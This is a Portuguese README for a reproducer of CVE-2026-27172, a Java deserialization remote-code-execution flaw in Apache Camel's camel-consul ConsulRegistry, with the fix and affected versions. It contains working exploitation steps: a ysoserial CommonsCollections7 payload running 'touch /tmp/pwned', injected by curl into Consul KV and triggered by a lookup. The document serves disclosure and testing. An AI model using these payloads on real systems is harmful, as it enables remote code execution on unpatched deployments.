
Reprodutor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry desserialização Java (RCE)
Este projeto demonstra uma vulnerabilidade de desserialização Java no componente
camel-consul do Apache Camel (ConsulRegistry), rastreada como CVE-2026-27172. É da mesma
classe de problema que CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747, e foi
negligenciada durante a remediação original desses CVEs.
Aviso: https://camel.apache.org/security/CVE-2026-27172.html
| Propriedade | Valor |
|---|---|
| Componente | camel-consul |
| Classe Afetada | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Métodos Vulneráveis | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução Remota de Código (RCE) |
| Versões Afetadas | De 3.0.0 até antes de 4.14.6, e de 4.15.0 até antes de 4.18.1 |
| Versões Corrigidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry usa o armazenamento de chave/valor do Consul como registro (registry) do Camel. Quando um bean é consultado
pelo nome, o valor armazenado é decodificado de Base64 e desserializado com um
ObjectInputStream bruto e, nas versões afetadas, sem ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Qualquer objeto armazenado no armazenamento KV do Consul sob uma chave que o Camel posteriormente consulte é desserializado. Um atacante que possa escrever nesse caminho KV pode plantar um payload de cadeia de gadgets que é executado quando ocorre a consulta ao registro.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry armazena objetos serializados codificados em Base64, portanto o payload é entregue como
Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() lê o valor KV, decodifica-o de Base64 e o desserializa — executando a
cadeia de gadgets.
ls -la /tmp/pwned
Se o arquivo /tmp/pwned existir, a exploração foi bem-sucedida.
A vulnerabilidade é acionada sempre que o registro resolve um bean:
.to("bean:..."), bean(...), .process("...") por nome chamam lookupByName().findByType() / lookupByNameAndType() iteram sobre as entradas KV e as desserializam.commons-collections:3.2.1 (gadgets CommonsCollections1-7)A correção (CAMEL-23029) adiciona um ObjectInputFilter configurável (padrão
java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize e expõe uma
opção deserializationFilter para que classes confiáveis possam ser incluídas na lista de permissões:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
Até atualizar para uma versão corrigida:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.
| Aspecto | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| Armazenamento subjacente | Tabela Cassandra | Arquivo LevelDB | Armazenamento KV do Consul |
| ObjectInputFilter (antes da correção) | nenhum | nenhum | nenhum |
| Correção | Lista de permissões do ObjectInputFilter | Lista de permissões do ObjectInputFilter | Lista de permissões do ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |